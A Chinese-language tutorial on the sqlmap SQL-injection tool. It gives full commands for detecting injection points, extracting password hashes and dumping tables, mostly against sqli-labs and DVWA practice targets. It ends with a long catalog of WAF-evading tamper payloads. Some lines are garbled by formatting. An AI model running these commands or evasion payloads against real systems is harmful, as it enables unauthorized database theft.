Sqlmap详细使用教程

简介

sqlmap 是一个开源的渗透测试工具，可以用来自动化的检测，利用SQL注入漏洞，获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项，包括获取数据库中存储的数据，访问操作系统文件甚至可以通过带外数据连接的方式执行操作系统命令。

[!NOTE] 链接
下载：sqlmap: automatic SQL injection and database takeover tool
手册：Usage · sqlmapproject/sqlmap Wiki · GitHub

使用案例

常用参数

1、-u :指定目标URL，sql注入点 
2、--cookie :当前会话的cookie值 
3、-b :获取数据库类型检索数据库管理系统的标识（DBMS：Database Management System数据库管理系统）
4、--current-db :获取当前数据库
5、--current-user :获取当前登录数据库使用的用户
6、--users :枚举数据库的用户名 
、--password :枚举数据库的用户名的密码hash8、-D :要枚举的DBMS数据库
9、--tables:枚举DBMS数据库中的数据表
10、-T :要枚举的DBMS数据库表 
11、--columns :枚举DBMS数据库表中的所有列 
12、-C:要枚举的DBMS数据表中的列
13、--dump :转储DBMS数据表项
14、--dbs：查看所有数据库名 
15、-is-dba当前用户权限（是否为root权限）
16、-dbs所有数据库 
17、-random-agent构造随机user-agent -passwords数据库密码
18、-proxyhttp://local:808019、–threads 10(可以自定义线程加速)代理 
20、-time-sec=TIMESECDBMS响应的延迟时间（默认为5秒）
21、-user-agent=AGENT 指定 HTTPUser–Agent0头
22、-random-agent 使用随机选定的HTTPUser – Agent头
23、-referer=REFERER指定HTTPReferer头
24、-headers=HEADERS 换行分开，加入其他的HTTP头 
25、-f 执行扩展的DBMS版本指纹
26、--tamper 脚步文件 
27、--batch 永远不要要求用户输入，请使用默认行为
28、-p [参数] 指定位置注入
29、--sql-shell 交互式查询数据
30、--skip-waf 跳过waf/ids/ips的检测（默认开启），使用identYwaf来检测
31、--technique=TECH 选择使用注入的技术 （B布尔，E错误，U联合，S堆叠，T时间，Q内联查询、字母可以单独使用）(默认为“BEUSTQ”）

前期注入

1、使用GET方法探测

 sqlmap -u "http://192.168.137.27/sqli-labs/Less-1/?id=1"

2、使用POST方法探测

sqlmap -u "http://192.168.137.27/sqli-labs/Less-11/index.php"--data "uname=Dumb&passwd=qweasd"-f

3、需要保持cookie会话的进行Post探测

sqlmap.py -u "http://192.168.80.150/DVWA-master/vulnerabilities/sqli/?id=tiezi&Submit=Submit#"--cookie="security=low; PHPSESSID=uqsq4osq5f38hj17k8nr4tj126"

4、扫描在文本文件中给出的多个目标

提供在给定大容量文件中登记的目标URL的列表，sqlmap将扫描 一个接一个

sqlmap -m sqlurl.txt

文本示例内容

www.target1.com/vuln1.php?q=foobar
www.target2.com/vuln2.asp?id=1
www.target3.com/vuln3/id/1*

5、从Burp或WebScarab代理日志文件中解析目标

sqlmap -l sqlurl.json

6、从sqlmap配置文件，进行探测

sqlmap -c sqlmap.conf

7、使用分隔符处理每个参数的请求

（–param-del设置什么为分割符，参数中就以什么为分隔符）

qlmap -u "http://192.168.137.27/sqli-labs/Less-11/index.php"--data "uname=Dumb&passwd=qweasd"--param-del="&"-f

8、指定参数注入探测

-p “单个/多个”

sqlmap -u "http://192.168.1.12/sqli-labs/Less-5/?id=1"-p id-f

9、从文件中加载HTTP请求探测

sqlmap -r sqlurl.txt -p id

文件示例内容

POST /vuln.php HTTP/1.1
Host: www.target.com
User-Agent: Mozilla/4.0

id=1

如果请求是通过HTTPS进行的，您可以将此命令与开关

--force-ssl

结合使用，以强制SSL连接到443/tcp。或者，您可以将

：443附加

到

Host

头值的末尾。

10、设置user-Agent为随机进行探测

默认：sqlma/xxxxxxxxxx，–level 小于3不会对user-agent进行探测

sqlmap -u "http://192.168.137.27/sqli-labs/Less-11/index.php"--data "uname=Dumb&passwd=qweasd"-f --random-agent --level 3

11、设置host头探测

–level 5则对host探测

sqlmap -u "http://192.168.137.27/sqli-labs/Less-2/?id=1"-f --level 5

12、进行referer探测

–level小于3不会探测

sqlmap -u "http://192.168.137.27/sqli-labs/Less-2/?id=1"-f --level 3

13、设置额外的头headers探测，每个标头换行符分割

sqlmap -u "http://192.168.137.27/sqli-labs/Less-5/?id=1"--headers="User-Agent:xxxxx\nCookie:xxxxx.cccc"

14、设置http认证探测

sqlmap -u "http://url/xx.php?id=1"--auth-type Basic --auth-cred "admin:admin"

15、设置http代理探测

sqlmap -u "http://url/xx.php?id=1"--proxy "http(s)://ip:port"-f

16、批量使用http代理探测

sqlmap -u "http://url/xx.php?id=1"--proxy-file proxy.txt -f

17、设置sqlmap延时探测（秒sec）

sqlmap -u "http://192.168.137.27/sqli-labs/Less-2/?id=1"-f --level 3--delay 0.5

18、设置随机参数探测

–randomize 参数名

sqlmap -u "http://192.168.137.27/sqli-labs/Less-2/?id=1"--randomize id-f

19、忽略指定参数探测–skip

sqlmap -u "http://192.168.1.12/sqli-labs/Less-5/?id=1"--level 5--skip "user-agent,referer"-f

20、使用*号进行任意URl路径注入探测

也可使用多个*进行多个位置注入探测

sqlmap -u "http://192.168.1.12/sqli-labs/Less-20/index.php"--cookie="uname=admin*"-f

21、给定脚步进行宽字节注入–tamper

sqlmap -u "http://192.168.1.12/sqli-labs/Less-35/?id=1"--tamper "unmagicquotes.py"--dbs -v 3

22、直接连接数据库

python sqlmap.py -d "mysql://admin:[email protected]:3306/testdb"-f --banner --dbs --users

成功注入的操作

1、获取数据库的基本信息

（版本、数据库名）

./sqlmap.py -u "http://192.168.80.150/DVWA-master/vulnerabilities/sqli/?id=tiezi&Submit=Submit#"--cookie="security=low; PHPSESSID=uqsq4osq5f38hj17k8nr4tj126"-b --current-db --current-user

2、获取管理员账户的的哈希和密码

sqlmap.py -u "http://192.168.80.150/DVWA-master/vulnerabilities/sqli/?id=tiezi&Submit=Submit#"--cookie="security=low; PHPSESSID=uqsq4osq5f38hj17k8nr4tj126"--users --password

3、查看所有数据库名

./sqlmap.py -u "http://192.168.80.150/DVWA-master/vulnerabilities/sqli/?id=tiezi&Submit=Submit#"--cookie="security=low; PHPSESSID=uqsq4osq5f38hj17k8nr4tj126"--dbs

4、获取数据表名

./sqlmap.py -u "http://192.168.80.150/DVWA-master/vulnerabilities/sqli/?id=tiezi&Submit=Submit#"--cookie="security=low; PHPSESSID=uqsq4osq5f38hj17k8nr4tj126"-D dvwa --tables

5、获取数据库表中的参数设置

./sqlmap.py -u "http://192.168.80.150/DVWA-master/vulnerabilities/sqli/?id=tiezi&Submit=Submit#"--cookie="security=low; PHPSESSID=uqsq4osq5f38hj17k8nr4tj126"-D dvwa -T users --columns

6、拖库操作

./sqlmap.py -u "http://192.168.80.150/DVWA-master/vulnerabilities/sqli/?id=tiezi&Submit=Submit#"--cookie="security=low; PHPSESSID=uqsq4osq5f38hj17k8nr4tj126"-D dvwa -T users -C user,password --dump

7、交互模式进行数据库查询

sqlmap -ul'ma "http://192.168.137.27/sqli-labs/Less-11/index.php"--data "uname=Dumb&passwd=qweasd"--sql-shell

脚步文件

1、0eunion.py

tamper('1 UNION ALL SELECT')'1e0UNION ALL SELECT'
Requirement:
        * MySQL
        * MsSQL

2、’ 替换为UTF-8全宽对应字符

apostrophemask.py

>>> tamper("1 AND '1'='1")'1 AND %EF%BC%871%EF%BC%87=%EF%BC%871'

3、’ 替换为非法的双unicode对应字符

（例如’->%00%27）apostrophenullencode.py

>>> tamper("1 AND '1'='1")'1 AND %00%271%00%27=%00%271'

4、末尾追加空字节字符

（%00 appendnullbyte.py

>>> tamper('1 AND 1=1')'1 AND 1=1%00'
Requirement:* Microsoft Access

5、Base64编码

base64encode.py

>>> tamper("1' AND SLEEP(5)#")'MScgQU5EIFNMRUVQKDUpIw=='

6、用"NOT BETWEEN 0 AND #“替换”>“用"BETWEEN # AND #“替代”=”

between.py

>>> tamper('1 AND A > B--')'1 AND A NOT BETWEEN 0 AND B--'>>> tamper('1 AND A = B--')'1 AND A BETWEEN B AND B--'>>> tamper('1 AND LAST_INSERT_ROWID()=LAST_INSERT_ROWID()')'1 AND LAST_INSERT_ROWID() BETWEEN LAST_INSERT_ROWID() AND LAST_INSERT_ROWID()'

Tested against:* Microsoft SQL Server 2005* MySQL 4,5.0and5.5* Oracle 10g
        * PostgreSQL 8.3,8.4,9.0

7、注入关键字binary

binary.py

>>> tamper('1 UNION ALL SELECT NULL, NULL, NULL')'1 UNION ALL SELECT binary NULL, binary NULL, binary NULL'>>> tamper('1 AND 2>1')'1 AND binary 2>binary 1'>>> tamper('CASE WHEN (1=1) THEN 1 ELSE 0x28 END')'CASE WHEN (binary 1=binary 1) THEN binary 1 ELSE binary 0x28 END'
Requirement:* MySQL

8、随机空白字符替换空格字符。运算符LIKE替换字符"="

bluecoat.py

>>> tamper('SELECT id FROM users WHERE id = 1')'SELECT%09id FROM%09users WHERE%09id LIKE 1'
Tested against:* MySQL 5.1, SGOS

9、双URL编码

（未处理已编码的字符）（例如SELECT->%2553%2545%254C%2545%2543%2554）chardoubleencode.py

>> tamper('SELECT FIELD FROM%20TABLE')'%2553%2545%254C%2545%2543%2554%2520%2546%2549%2545%254C%2544%2520%2546%2552%254F%254D%2520%2554%2541%2542%254C%2545'

10、URL编码

（未处理已编码的字符）（例如SELECT->%53%45%4C%45%43%54）
charencode.py

>>> tamper('SELECT FIELD FROM%20TABLE')'%53%45%4C%45%43%54%20%46%49%45%4C%44%20%46%52%4F%4D%20%54%41%42%4C%45'
Tested against:* Microsoft SQL Server 2005* MySQL 4,5.0and5.5* Oracle 10g
        * PostgreSQL 8.3,8.4,9.0

11、Unicode URL编码

（未处理已编码的字符）（例如SELECT->%u0053%u0045%u004C%u0045%u 0043%u0054）charunicodeencode.py

>>> tamper('SELECT FIELD%20FROM TABLE')'%u0053%u0045%u004C%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004C%u0044%u0020%u0046%u0052%u004F%u004D%u0020%u0054%u0041%u0042%u004C%u0045'
    
Requirement:* ASP
        * ASP.NET

Tested against:* Microsoft SQL Server 2000* Microsoft SQL Server 2005* MySQL 5.1.56* PostgreSQL 9.0.3

12、Unicode转义

（未处理已编码的字符）（例如SELECT->

\u0

{=tex}053

\u0

{=tex}045

\u0

{=tex}04C

\u0

{=tex}045

\u0

{=tex}043

\u0

{=tex}054）
charunicodeescape.py

>>> tamper('SELECT FIELD FROM TABLE')'\\\\u0053\\\\u0045\\\\u004C\\\\u0045\\\\u0043\\\\u0054\\\\u0020\\\\u0046\\\\u0049\\\\u0045\\\\u004C\\\\u0044\\\\u0020\\\\u0046\\\\u0052\\\\u004F\\\\u004D\\\\u0020\\\\u0054\\\\u0041\\\\u0042\\\\u004C\\\\u0045'

13、将"LIMIT M,N"实例替换为"LIMIT N OFFSET M"

commalesslimit.py

>>> tamper('LIMIT 2, 3')'LIMIT 3 OFFSET 2'
Requirement:* MySQL

Tested against:* MySQL 5.0and5.5

14、将’MID(A, B, C)‘替换’MID(A FROM B FOR C)’

commalessmid.py

>>> tamper('MID(VERSION(), 1, 1)')'MID(VERSION() FROM 1 FOR 1)'
Requirement:* MySQL

Tested against:* MySQL 5.0and5.5

15、在括号前加上（内联注释）

注释（例如（->/**/（）
commentbeforeparentheses.py

>>> tamper('SELECT ABS(1)')'SELECT ABS/**/(1)'
Tested against:* Microsoft SQL Server
        * MySQL
        * Oracle
        * PostgreSQL

16、将"CONCAT(A,B)‘替换’CONCAT_WS(MID(CHAR(0), 0, 0), A, B)’

concat2concatws.py

>>> tamper('CONCAT(1,2)')'CONCAT_WS(MID(CHAR(0),0,0),1,2)'
Requirement:* MySQL

Tested against:* MySQL 5.0

17、将’int UNION’替换’int DUNION’

dunion.py

>>> tamper('1 UNION ALL SELECT')'1DUNION ALL SELECT'
Requirement:* Oracle

18、将所有’='替换"LIKE"

equaltolike.py

>>> tamper('SELECT * FROM users WHERE id=1')'SELECT * FROM users WHERE id LIKE 1'

Tested against:* Microsoft SQL Server 2005* MySQL 4,5.0and5.5

19、将所有’='替换"RLIKE"

equaltorlike.py

>>> tamper('SELECT * FROM users WHERE id=1')'SELECT * FROM users WHERE id RLIKE 1'
Tested against:* MySQL 4,5.0and5.5

20、斜杠转义单引号和双引号

escapequotes.py(e.g. ’ -> ')

>>> tamper('1" AND SLEEP(5)#')'1\\\\" AND SLEEP(5)#'

21、将">"替换成’GREATEST’

greatest.py

>>> tamper('1 AND A > B')
    '1 AND GREATEST(A,B+1)=A
Tested against:* MySQL 4,5.0and5.5* Oracle 10g
        * PostgreSQL 8.3,8.4,9.0

22、在每个关键字之前添加MySQL版本注释

halfversionedmorekeywords.py

>>> tamper("value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa")"value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa"
    
Requirement:* MySQL <5.1

Tested against:* MySQL 4.0.18,5.0.22

23、将每个hex编码字符串替换为等效的CONCAT(CHAR(),…）

hex2char.py

>>> tamper('SELECT 0xdeadbeef')'SELECT CONCAT(CHAR(222),CHAR(173),CHAR(190),CHAR(239))'
Requirement:* MySQL

Tested against:* MySQL 4,5.0and5.5

24、HTML编码

htmlencode.py

>>> tamper("1' AND SLEEP(5)#")'1' AND SLEEP(5)#'

25、将’IFNULL(A, B)’ 替换成’CASE WHEN ISNULL(A) THEN (B) ELSE (A) END’

ifnull2casewhenisnull.py

>>> tamper('IFNULL(1, 2)')'CASE WHEN ISNULL(1) THEN (2) ELSE (1) END'
Requirement:* MySQL
        * SQLite (possibly)* SAP MaxDB (possibly)

Tested against:* MySQL 5.0and5.5

26、将’IFNULL(A, B)’ 替换’IF(ISNULL(A), B, A)’

ifnull2ifisnull.py

>>> tamper('IFNULL(1, 2)')'IF(ISNULL(1),2,1)'
Requirement:* MySQL
        * SQLite (possibly)* SAP MaxDB (possibly)

Tested against:* MySQL 5.0and5.5

27、在mysql的"information_schema"末尾添加内联注释

informationschemacomment.py

>>> tamper('SELECT table_name FROM INFORMATION_SCHEMA.TABLES')'SELECT table_name FROM INFORMATION_SCHEMA/**/.TABLES'

28、'LEAST’替换">"

least.py

>>> tamper('1 AND A > B')'1 AND LEAST(A,B+1)=B+1'
    
Tested against:* MySQL 4,5.0and5.5* Oracle 10g
        * PostgreSQL 8.3,8.4,9.0

29、小写字母替换大写字母

lowercase.py

>>> tamper('INSERT')'insert'
    
Tested against:* Microsoft SQL Server 2005* MySQL 4,5.0and5.5* Oracle 10g
        * PostgreSQL 8.3,8.4,9.0

30、LUA-Nginx WAFs bypass

luanginx.py

>>> random.seed(0); hints={}; payload = tamper("1 AND 2>1", hints=hints);"%s&%s"%(hints[HINT.PREPEND], payload)'34=&Xe=&90=&Ni=&rW=&lc=&te=&T4=&zO=&NY=&B4=&hM=&X2=&pU=&D8=&hm=&p0=&7y=&18=&RK=&Xi=&5M=&vM=&hO=&bg=&5c=&b8=&dE=&7I=&5I=&90=&R2=&BK=&bY=&p4=&lu=&po=&Vq=&bY=&3c=&ps=&Xu=&lK=&3Q=&7s=&pq=&1E=&rM=&FG=&vG=&Xy=&tQ=&lm=&rO=&pO=&rO=&1M=&vy=&La=&xW=&f8=&du=&94=&vE=&9q=&bE=&lQ=&JS=&NQ=&fE=&RO=&FI=&zm=&5A=&lE=&DK=&x8=&RQ=&Xw=&LY=&5S=&zi=&Js=&la=&3I=&r8=&re=&Xe=&5A=&3w=&vs=&zQ=&1Q=&HW=&Bw=&Xk=&LU=&Lk=&1E=&Nw=&pm=&ns=&zO=&xq=&7k=&v4=&F6=&Pi=&vo=&zY=&vk=&3w=&tU=&nW=&TG=&NM=&9U=&p4=&9A=&T8=&Xu=&xa=&Jk=&nq=&La=&lo=&zW=&xS=&v0=&Z4=&vi=&Pu=&jK=&DE=&72=&fU=&DW=&1g=&RU=&Hi=&li=&R8=&dC=&nI=&9A=&tq=&1w=&7u=&rg=&pa=&7c=&zk=&rO=&xy=&ZA=&1K=&ha=&tE=&RC=&3m=&r2=&Vc=&B6=&9A=&Pk=&Pi=&zy=&lI=&pu=&re=&vS=&zk=&RE=&xS=&Fs=&x8=&Fe=&rk=&Fi=&Tm=&fA=&Zu=&DS=&No=&lm=&lu=&li=&jC=&Do=&Tw=&xo=&zQ=&nO=&ng=&nC=&PS=&fU=&Lc=&Za=&Ta=&1y=&lw=&pA=&ZW=&nw=&pM=&pa=&Rk=&lE=&5c=&T4=&Vs=&7W=&Jm=&xG=&nC=&Js=&xM=&Rg=&zC=&Dq=&VA=&Vy=&9o=&7o=&Fk=&Ta=&Fq=&9y=&vq=&rW=&X4=&1W=&hI=&nA=&hs=&He=&No=&vy=&9C=&ZU=&t6=&1U=&1Q=&Do=&bk=&7G=&nA=&VE=&F0=&BO=&l2=&BO=&7o=&zq=&B4=&fA=&lI=&Xy=&Ji=&lk=&7M=&JG=&Be=&ts=&36=&tW=&fG=&T4=&vM=&hG=&tO=&VO=&9m=&Rm=&LA=&5K=&FY=&HW=&7Q=&t0=&3I=&Du=&Xc=&BS=&N0=&x4=&fq=&jI=&Ze=&TQ=&5i=&T2=&FQ=&VI=&Te=&Hq=&fw=&LI=&Xq=&LC=&B0=&h6=&TY=&HG=&Hw=&dK=&ru=&3k=&JQ=&5g=&9s=&HQ=&vY=&1S=&ta=&bq=&1u=&9i=&DM=&DA=&TG=&vQ=&Nu=&RK=&da=&56=&nm=&vE=&Fg=&jY=&t0=&DG=&9o=&PE=&da=&D4=&VE=&po=&nm=&lW=&X0=&BY=&NK=&pY=&5Q=&jw=&r0=&FM=&lU=&da=&ls=&Lg=&D8=&B8=&FW=&3M=&zy=&ho=&Dc=&HW=&7E=&bM=&Re=&jk=&Xe=&JC=&vs=&Ny=&D4=&fA=&DM=&1o=&9w=&3C=&Rw=&Vc=&Ro=&PK=&rw=&Re=&54=&xK=&VK=&1O=&1U=&vg=&Ls=&xq=&NA=&zU=&di=&BS=&pK=&bW=&Vq=&BC=&l6=&34=&PE=&JG=&TA=&NU=&hi=&T0=&Rs=&fw=&FQ=&NQ=&Dq=&Dm=&1w=&PC=&j2=&r6=&re=&t2=&Ry=&h2=&9m=&nw=&X4=&vI=&rY=&1K=&7m=&7g=&J8=&Pm=&RO=&7A=&fO=&1w=&1g=&7U=&7Y=&hQ=&FC=&vu=&Lw=&5I=&t0=&Na=&vk=&Te=&5S=&ZM=&Xs=&Vg=&tE=&J2=&Ts=&Dm=&Ry=&FC=&7i=&h8=&3y=&zk=&5G=&NC=&Pq=&ds=&zK=&d8=&zU=&1a=&d8=&Js=&nk=&TQ=&tC=&n8=&Hc=&Ru=&H0=&Bo=&XE=&Jm=&xK=&r2=&Fu=&FO=&NO=&7g=&PC=&Bq=&3O=&FQ=&1o=&5G=&zS=&Ps=&j0=&b0=&RM=&DQ=&RQ=&zY=&nk=&1 AND 2>1'

31、“-.1UNION"替换"UNION”

misunion.py

>>> tamper('1 UNION ALL SELECT')'1-.1UNION ALL SELECT'>>> tamper('1" UNION ALL SELECT')'1"-.1UNION ALL SELECT'
Requirement:* MySQL

32、使用随机数填充内联注释

modsecurityversioned.py

>>>import random
>>> random.seed(0)>>> tamper('1 AND 2>1--')'1 /*!30963AND 2>1*/--'
Requirement:* MySQL

Tested against:* MySQL 5.0

33、使用"0"填充内联注释

modsecurityzeroversioned.py

>>> tamper('1 AND 2>1--')'1 /*!00000AND 2>1*/--'
 Requirement:* MySQL

Tested against:* MySQL 5.0

34、关键字周围添加多个空格

multiplespaces.py

>>> random.seed(0)>>> tamper('1 UNION SELECT foobar')'1     UNION     SELECT     foobar'

35、使用ASCII()参数替换ORD()参数

ord2ascii.py

>>> tamper("ORD('42')")"ASCII('42')"
Requirement:* MySQL

36、在payloads中的(非字母数字)字符转换为超长UTF8

overlongutf8.py

>>> tamper('SELECT FIELD FROM TABLE WHERE 2>1')'SELECT%C0%A0FIELD%C0%A0FROM%C0%A0TABLE%C0%A0WHERE%C0%A02%C0%BE1'

37、负载中的所有字符转换为超长UTF8

overlongutf8more.py

>>> tamper('SELECT FIELD FROM TABLE WHERE 2>1')'%C1%93%C1%85%C1%8C%C1%85%C1%83%C1%94%C0%A0%C1%86%C1%89%C1%85%C1%8C%C1%84%C0%A0%C1%86%C1%92%C1%8F%C1%8D%C0%A0%C1%94%C1%81%C1%82%C1%8C%C1%85%C0%A0%C1%97%C1%88%C1%85%C1%92%C1%85%C0%A0%C0%B2%C0%BE%C0%B1'

38、在每个字符前面添加百分比符号

percentage.py

>>> tamper('SELECT FIELD FROM TABLE')'%S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E'
Requirement:* ASP

Tested against:* Microsoft SQL Server 2000,2005* MySQL 5.1.56,5.5.11* PostgreSQL 9.0

39、使用CONCAT()替换"+"

plus2concat.py

>>> tamper('SELECT CHAR(113)+CHAR(114)+CHAR(115) FROM DUAL')'SELECT CONCAT(CHAR(113),CHAR(114),CHAR(115)) FROM DUAL'>>> tamper('1 UNION ALL SELECT NULL,NULL,CHAR(113)+CHAR(118)+CHAR(112)+CHAR(112)+CHAR(113)+ISNULL(CAST(@@VERSION AS NVARCHAR(4000)),CHAR(32))+CHAR(113)+CHAR(112)+CHAR(107)+CHAR(112)+CHAR(113)-- qtfe')'1 UNION ALL SELECT NULL,NULL,CONCAT(CHAR(113),CHAR(118),CHAR(112),CHAR(112),CHAR(113),ISNULL(CAST(@@VERSION AS NVARCHAR(4000)),CHAR(32)),CHAR(113),CHAR(112),CHAR(107),CHAR(112),CHAR(113))-- qtfe'
Tested against:* Microsoft SQL Server 2012

Requirements:* Microsoft SQL Server 2012+

40、使用 ODBC 的{fn CONCAT()} 替换"+"

plus2fnconcat.py

>>> tamper('SELECT CHAR(113)+CHAR(114)+CHAR(115) FROM DUAL')'SELECT {fn CONCAT({fn CONCAT(CHAR(113),CHAR(114))},CHAR(115))} FROM DUAL'>>> tamper('1 UNION ALL SELECT NULL,NULL,CHAR(113)+CHAR(118)+CHAR(112)+CHAR(112)+CHAR(113)+ISNULL(CAST(@@VERSION AS NVARCHAR(4000)),CHAR(32))+CHAR(113)+CHAR(112)+CHAR(107)+CHAR(112)+CHAR(113)-- qtfe')'1 UNION ALL SELECT NULL,NULL,{fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT(CHAR(113),CHAR(118))},CHAR(112))},CHAR(112))},CHAR(113))},ISNULL(CAST(@@VERSION AS NVARCHAR(4000)),CHAR(32)))},CHAR(113))},CHAR(112))},CHAR(107))},CHAR(112))},CHAR(113))}-- qtfe'
Tested against:* Microsoft SQL Server 2008

Requirements:* Microsoft SQL Server 2008+

41、随机大小写值替换每个关键字字符

randomcase.py

>>>import random
    >>> random.seed(0)>>> tamper('INSERT')'InSeRt'>>> tamper('f()')'f()'>>> tamper('function()')'FuNcTiOn()'>>> tamper('SELECT id FROM `user`')'SeLeCt id FrOm `user`'
Tested against:* Microsoft SQL Server 2005* MySQL 4,5.0and5.5* Oracle 10g
        * PostgreSQL 8.3,8.4,9.0* SQLite 3

42、在SQL关键字中添加随机内联注释

randomcomments.py

>>>import random
    >>> random.seed(0)>>> tamper('INSERT')'I/**/NS/**/ERT'

43、将FROM的表’testdb.users’分成’testdb 9.e.users’

schemasplit.py

>>> tamper('SELECT id FROM testdb.users')'SELECT id FROM testdb 9.e.users'
Requirement:* MySQL

44、将’SLEEP(5)'替换成"GET_LOCK(‘ETgP’,5)"

sleep2getlock.py

>>> tamper('SLEEP(5)')=="GET_LOCK('%s',5)"% kb.aliasName
    True
Requirement:* MySQL

Tested against:* MySQL 5.0and5.5

45、空格字符替换成内联注释

space2comment.py

>>> tamper('SELECT id FROM users')'SELECT/**/id/**/FROM/**/users'
Tested against:* Microsoft SQL Server 2005* MySQL 4,5.0and5.5* Oracle 10g
        * PostgreSQL 8.3,8.4,9.0

46、将空格字符（“”）替换为短划线注释（“–”），后跟随机字符串和新行（“

\n

{=tex}”）

space2dash.py

>>> random.seed(0)>>> tamper('1 AND 9227=9227')'1--upgPydUzKpMX%0AAND--RcDKhIr%0A9227=9227'
Requirement:* MSSQL
        * SQLite

47、将空格字符（“”）的实例替换为pound字符（“#”），后跟随机字符串和新行（“

\n

{=tex}”）

space2hash.py

>>> random.seed(0)>>> tamper('1 AND 9227=9227')
    '1%23upgPydUzKpMX%0AAND%23RcDKhIr%0A9227=9227

    Requirement:* MySQL

    Tested against:* MySQL 4.0,5.0

48、空字符替换 ‘/_/’

space2morecomment.py

>>> tamper('SELECT id FROM users')'SELECT/**_**/id/**_**/FROM/**_**/users'
Tested against:* MySQL 5.0and5.5

49、将空格字符（“”）的实例替换为pound字符（“#”），后跟随机字符串和新行（“

\n

{=tex}”）

space2morehash.py

>>> random.seed(0)>>> tamper('1 AND 9227=9227')'1%23RcDKhIr%0AAND%23upgPydUzKpMX%0A%23lgbaxYjWJ%0A9227=9227'
Requirement:* MySQL >=5.1.13

Tested against:* MySQL 5.1.41

50、将空格字符（“”）替换为有效备用字符集中的随机空白字符

space2mssqlblank.py

>>> random.seed(0)>>> tamper('SELECT id FROM users')'SELECT%0Did%0DFROM%04users'
Requirement:* Microsoft SQL Server

Tested against:* Microsoft SQL Server 2000* Microsoft SQL Server 2005

51、将空格字符（“”）替换为磅字符（“#”），后跟新行（“

\n

{=tex}”）

space2mssqlhash.py

>>> tamper('1 AND 9227=9227')'1%23%0AAND%23%0A9227=9227'
Requirement:* MSSQL
        * MySQL

52、将空格字符（“”）替换为pound字符（“#”），后跟新行（“

\n

{=tex}”）

space2mysqlblank.py

>>> tamper('1 AND 9227=9227')'1%23%0AAND%23%0A9227=9227'
Requirement:* MySQL

    Tested against:* MySQL 5.1

53、将空格字符（“”）替换为短划线注释（“–”），后跟新行（“

\n

{=tex}”）

space2mysqldash.py

>>> tamper('1 AND 9227=9227')'1--%0AAND--%0A9227=9227'
Requirement:* MySQL
        * MSSQL

54、"+"替换空格

space2plus.py

>>> tamper('SELECT id FROM users')'SELECT+id+FROM+users'

55、将空格字符（“”）替换为有效备用字符集中的随机空白字符

space2randomblank.py

>> random.seed(0)>>> tamper('SELECT id FROM users')'SELECT%0Did%0CFROM%0Ausers'
Tested against:* Microsoft SQL Server 2005* MySQL 4,5.0and5.5* Oracle 10g
        * PostgreSQL 8.3,8.4,9.0

56、将函数"sp_password"追加到有效负载的末尾，以便从DBMS日志中进行自动混淆

sp_password.py

>>> tamper('1 AND 9227=9227-- ')'1 AND 9227=9227-- sp_password'
Requirement:* MSSQL

57、用LEFT和RIGHT替换PostgreSQL SUBSTRING

substring2leftright.py

>>> tamper('SUBSTRING((SELECT usename FROM pg_user)::text FROM 1 FOR 1)')'LEFT((SELECT usename FROM pg_user)::text,1)'>>> tamper('SUBSTRING((SELECT usename FROM pg_user)::text FROM 3 FOR 1)')'LEFT(RIGHT((SELECT usename FROM pg_user)::text,-2),1)'
Tested against:* PostgreSQL 9.6.12

58、将AND和OR逻辑运算符替换为其对应的符号运算符（&&和||）

symboliclogical.py

>>> tamper("1 AND '1'='1")"1 %26%26 '1'='1"

59、用UNION SELECT对应项替换UNION ALL SELECT的实例

unionalltounion.py

>>> tamper('-1 UNION ALL SELECT')'-1 UNION SELECT'

60、将引号字符（'）替换为多字节组合%BF%27以及结尾处的通用注释

unmagicquotes.py

>>> tamper("1' AND 1=1")'1%bf%27-- -'

61、小写字母替换大写字母

uppercase.py

>>> tamper('insert')'INSERT'
Tested against:* Microsoft SQL Server 2005* MySQL 4,5.0and5.5* Oracle 10g
        * PostgreSQL 8.3,8.4,9.0

62、附加HTTP标头"X-originating-IP"以绕过Varnish防火墙

varnish.py

63、用（MySQL）版本化的注释封装每个非函数关键字

versionedkeywords.py

>>> tamper('1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#')'1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS*//*!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))#'
Requirement:* MySQL

Tested against:* MySQL 4.0.18,5.1.56,5.5.11

64、用（MySQL）版本注释将每个关键字括起来

versionedmorekeywords.py

>>> tamper('1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))#')'1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS*//*!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))#'
Requirement:* MySQL >=5.1.13

    Tested against:* MySQL 5.1.56,5.5.11

65、附加一个假的HTTP头"X-Forwarded-For"

xforwardedfor.py

参数

sqlmap -hh